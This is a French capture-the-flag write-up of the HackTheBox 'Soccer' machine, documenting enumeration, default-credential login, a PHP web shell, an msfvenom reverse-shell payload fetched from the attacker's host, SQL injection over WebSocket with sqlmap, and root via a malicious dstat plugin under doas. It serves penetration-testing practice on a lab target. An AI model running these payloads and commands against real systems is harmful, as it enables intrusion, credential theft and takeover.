C’était une machine très intéressante parce qu’il faut travailler avec les WebSocket, que je connaissais plus ou moins parce que j’avais vu le mot dans l’interface de ZAP, mais maintenant je connais les canaux, je sais quel type de requêtes il envoie, je sais un peu comment interagir avec eux via wscat et comment utiliser SQLMap pour découvrir des injections SQL via des requêtes WebSocket. Merci à la video d’IppSec pour tout le savoir-faire !

J’ai aussi été surpris d’apprendre l’existence de doas, qui est similaire à sudo mais que je ne connaissais pas. J’ai l’impression qu’il y a plusieurs étapes dans l’escalade de privilèges où je serais resté bloqué longtemps sans le mode guidé de la box. J’aurais peut-être continué à chercher des exploits liés à sudo puisque la version 1.8.31 était vulnérable.

Énumération Link to heading

Après le scan, on voit 3 ports ouverts :

22/tcp   open  ssh
80/tcp   open  http
9091/tcp open  xmltec-xmlmail

On voit que le serveur web nous redirige vers http://soccer.htb:

curl -I http://10.10.11.194/
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 16 Oct 2025 09:45:18 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://soccer.htb/

Ajoutons ce nom de domaine à notre fichier local :

10.10.11.194 soccer.htb

On rajoute la ligne ci-dessus dans notre fichier /etc/hosts.

Il n’y a rien de spécialement intéressant sur cette page, voyons voir s’il y a des sous-domaines, des fichiers ou des dossiers.

ffuf -w SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://soccer.htb/FUZZ" -ic 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://soccer.htb/FUZZ
 :: Wordlist         : FUZZ: /home/dvr/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 6917, Words: 2196, Lines: 148,
tiny                    [Status: 301, Size: 178, Words: 6, Lines: 8,
                        [Status: 200, Size: 6917, Words: 2196, Lines: 148,
:: Progress: [220546/220546] :: Job [1/1] :: 505 req/sec :: Duration: [0:07:18] :: Errors: 0 ::

On trouve le dossier /tiny. Regardons la page correspondante.

En lisant la documentation du projet Tiny File Manager, on trouve que les identifiants par défaut sont :

  • admin:admin@123 pour les utilisateurs admin ;
  • user:12345 pour les utilisateurs classiques.

Nous essayons les identifiants admin et ils fonctionnent :

Exploitation Link to heading

En parcourant les différents fichiers, on constate que nous pouvons télécharger et téléverser des fichiers depuis et vers le gestionnaire de fichiers. Les téléversements sont toutefois restreints au répertoire /tiny/uploads. Cependant, il semble que nous puissions téléverser n’importe quel type de fichier, sans restriction sur l’extension.

Créons un payload :

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.10.14.11 LPORT=1234 -f elf -o reverse1234.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1121480 bytes
Final size of elf file: 1121480 bytes
Saved as: reverse1234.elf

Lançons un serveur HTTP sur notre machine d’attaque pour requérir le payload :

http_server 1111

Et téléversons un fichier PHP pour avoir une session, même si elle sera éphémère :

<?php system($_GET["cmd"]);?>
curl http://soccer.htb/tiny/uploads/shell.php\?cmd\=id                    
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ça marche mais il semblerait que le dossier se fasse effacer périodiquement donc il nous faut agir vite. On va encoder en URL les commandes suivantes pour les faire passer dans nos requêtes GET :

curl -O http://10.10.14.11:1111/reverse1234.elf

curl%20-O%20http%3A%2F%2F10.10.14.11%3A1111%2Freverse1234.elf

Et :

bash reverse1234.elf

bash%20reverse1234.elf

Juste après le téléversement, on va lancer les commandes suivantes dans l’ordre :

curl "http://soccer.htb/tiny/uploads/shell.php?cmd=curl%20-O%20http%3A%2F%2F10.10.14.11%3A1111%2Freverse1234.elf"
curl "http://soccer.htb/tiny/uploads/shell.php?cmd=bash%20reverse1234.elf"

Je vois une requête être faite à mon serveur :

http_server 1111
Press ctrl+c to stop.
Serving on port 1111...
10.10.11.194 - - [16/Oct/2025 13:29:29] "GET /reverse1234.elf HTTP/1.1" 200 -

Cependant je n’obtiens pas de session en retour, ce qui pourrait vouloir dire que le payload n’a pas été exécuté.

On peut voir le fichier apparaître dans la liste :

On peut changer les permissions en cliquant sur le lien 0744 (sur la capture d’écran ci-dessus j’ai déjà changé les permissions, elles devraient indiquer 0644 par défaut).

Sélectionner “Execute” et nous pouvons maintenant exécuter le payload :

curl "http://soccer.htb/tiny/uploads/shell.php?cmd=./reverse1234.elf"

Foothold Link to heading

Et on obtient une session en retour !

meterpreter > sysinfo
Computer     : 10.10.11.194
OS           : Ubuntu 20.04 (Linux 5.4.0-135-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

La session est ouverte dans le dossier /var/www/html/tiny/uploads.

Nous pouvons téléverser le célèbre exécutable : LinEnum.sh pour nous faire une idée de ce qui se passe.

./LinEnum.sh | tee -a enum_output.txt

Le problème est qu’à chaque fois que nous le téléversons et l’exécutons, à un moment donné les fichiers sont effacés. Il y a probablement un programme périodique qui nettoie le dossier /uploads. Nous n’avons pas les permissions pour écrire dans les dossiers ci-dessus, il faudra donc trouver un autre répertoire où nous pouvons écrire. Il y a le très utile dossier /tmp qui sert justement à ça :

meterpreter > cd /tmp
meterpreter > upload LinEnum.sh
meterpreter > shell
chmod +x LinEnum.sh
./LinEnum.sh | tee -a enum_output.txt
meterpreter > download enum_output.txt

Et là nous pouvons lire le fichier.

Escalade Link to heading

Nous voyons l’utilisateur player qui est le seul utilisateur autre que root. Nous pouvons lister le contenu du répertoire /home/player et noter qu’il y a un flag :

meterpreter > ls /home/player
Listing: /home/player
=====================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
020666/rw-rw-rw-  0     cha   2025-10-16 11:33:54 +0200  .bash_history
100644/rw-r--r--  220   fil   2020-02-25 13:03:22 +0100  .bash_logout
100644/rw-r--r--  3771  fil   2020-02-25 13:03:22 +0100  .bashrc
040700/rwx------  4096  dir   2022-11-17 10:00:38 +0100  .cache
100644/rw-r--r--  807   fil   2020-02-25 13:03:22 +0100  .profile
020666/rw-rw-rw-  0     cha   2025-10-16 11:33:54 +0200  .viminfo
100640/rw-r-----  33    fil   2025-10-16 11:34:27 +0200  user.txt

Nous remarquons que la version de sudo est 1.8.31, qui est vulnérable à un exploit. Cependant, il ne semble pas que nous puissions l’exploiter pour l’instant.

En cherchant autour du serveur web nginx, nous trouvons un sous-domaine : soc-player.soccer.htb !

$ ls /etc/nginx/sites-enabled
ls /etc/nginx/sites-enabled
default  soc-player.htb
$ cat /etc/nginx/sites-enabled/soc-player.htb
$ cat /etc/nginx/sites-enabled/soc-player.htb
server {
	listen 80;
	listen [::]:80;

	server_name soc-player.soccer.htb;

	root /root/app/views;

	location / {
		proxy_pass http://localhost:3000;
		proxy_http_version 1.1;
		proxy_set_header Upgrade $http_upgrade;
		proxy_set_header Connection 'upgrade';
		proxy_set_header Host $host;
		proxy_cache_bypass $http_upgrade;
	}
}

Ajoutons-le à notre fichier hosts et allons voir le site !

Il semble assez similaire au site de base, sauf qu’il possède maintenant une page de connexion et d’inscription :

Je m’inscris avec les infos : someone:SomePassword1234 et le mail : some@one.com et j’arrive sur cette page :

On dirait que la zone de saisie au centre prend un identifiant de ticket et vérifie s’il existe ou non. Un identifiant de ticket m’a été attribué : 93463 et quand je le saisis, il indique qu’il existe (mon ticket existe donc je suis).

On voit que cela ne passe pas par des requêtes web classiques mais par des sockets. Voyons ce qu’on peut faire :

On voit que le socket avec le contenu {"id":"66002"} répond par un message “Ticket Doesn’t Exist”. On peut interagir depuis le terminal avec le paquet wscat, qui est un « utilitaire type Netcat pour WebSockets », comme le disent les docs.

wscat -c soc-player.soccer.htb:9091/ws # Sommetimes you need the "ws" at the end
Connected (press CTRL+C to quit)
> {"id":"12345"}
< Ticket Doesn't Exist
> {"id":"12345 OR 1=1 -- -"}
< Ticket Exists

On constate qu’il y a apparemment une vulnérabilité d’injection SQL ici. Essayons SQLMap. Installons le paquet : python-websocket-client puis exécutons la commande :

sqlmap -u 'ws://soc-player.soccer.htb:9091' --data '{"id":"*"}'

Cela n’a pas donné de sortie intéressante, essayons ce qui suit :

sqlmap -u 'ws://soc-player.soccer.htb:9091' --data '{"id":"*"}' --level 5  --threads 10 --dump --batch
  • --data pour préciser quelles données sont envoyées à l’URL, en utilisant le joker * pour indiquer l’endroit où nous voulons injecter ;
  • --level 5 pour tester toutes les charges utiles possibles à tous les niveaux (GET, POST, Cookies, User-Agent etc.). Je ne suis pas sûr que tous s’appliquent aux WebSockets cependant ;
  • --threads 10 pour définir le nombre maximal de threads afin d’accélérer le processus ;
  • --dump pour qu’il déverse toutes les données qu’il peut trouver, je les trierai ensuite ;
  • --batch pour qu’il choisisse automatiquement l’option par défaut lorsqu’on lui demande, et que je puisse aller prendre une douche pendant que l’outil fait son travail.

Nous obtenons les résultats suivants :

Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

Trop bien ! Nous avons obtenu un mot de passe pour l’utilisateur player. Voyons si nous pouvons nous connecter en SSH avec ce compte :

ssh player@soccer.htb
player@soccer.htb's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
<SNIP>

Voilà, nous y sommes ! Enfin, lisons ce flag bien mérité :

cat user.txt
<REDACTED>

Ah vous ne pensiez quand même pas que j’allais vous laisser l’admirer alors que c’est moi qui ai fait tout le boulot ? Non mais !

Encore plus d’escalade Link to heading

Maintenant nous pourrions peut-être utiliser la version de sudo pour escalader. Malheureusement, notre utilisateur ne peut pas utiliser sudo, il va donc falloir trouver une autre méthode.

sudo -l 
[sudo] password for player: 
Sorry, user player may not run sudo on localhost.

Nous trouvons l’exécutable doas que nous pouvons exécuter en tant que root :

ls -l /usr/local/bin
total 56
-rwsr-xr-x 1 root root 42224 Nov 17  2022 doas
-rwxr-xr-x 1 root root  2002 Nov 17  2022 doasedit
-rwxr-xr-x 1 root root  5471 Nov 17  2022 vidoas

Malheureusement, il ne semble pas y avoir grand-chose que nous puissions lancer avec doas. En regardant la doc on voit qu’il devrait y avoir un fichier de configuration nommé doas.conf. Essayons de le trouver :

find / -iname "*doas*" 2>/dev/null
/usr/local/share/man/man5/doas.conf.5
/usr/local/share/man/man1/doas.1
/usr/local/share/man/man8/vidoas.8
/usr/local/share/man/man8/doasedit.8
/usr/local/bin/doasedit
/usr/local/bin/doas
/usr/local/bin/vidoas
/usr/local/etc/doas.conf

Trouvé ! Voyons ce qu’il contient :

cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

On voit que nous pouvons exécuter dstat avec doas et nous avons de la chance, car c’est un GTFOBin comme indiqué ici. En lisant cette page, nous apprenons que l’on pourrait charger n’importe quel script python s’il se trouve dans l’un des dossiers suivants :

~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/

Nous notons que suivre les instructions de la page ne fonctionne pas puisque le dossier ~/.dstat/ apparemment n’est pas disponible pour l’outil, peut-être parce qu’il n’existait pas avant notre arrivée. Nous n’avons pas le droit d’écrire dans /usr/share/dstat ni dans /usr/bin/plugins mais nous pouvons écrire dans /usr/local/share/dstat, ce que nous allons justement faire :

cd /usr/local/share/dstat
echo 'import os; os.execv("/bin/sh", ["sh"])' > dstat_xxx.py
$ ls
dstat_xxx.py
$ doas /usr/bin/dstat --xxx
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
# whoami 
root
# cat ~/root.txt
<REDACTED>

Et….. BUUUUUUUT !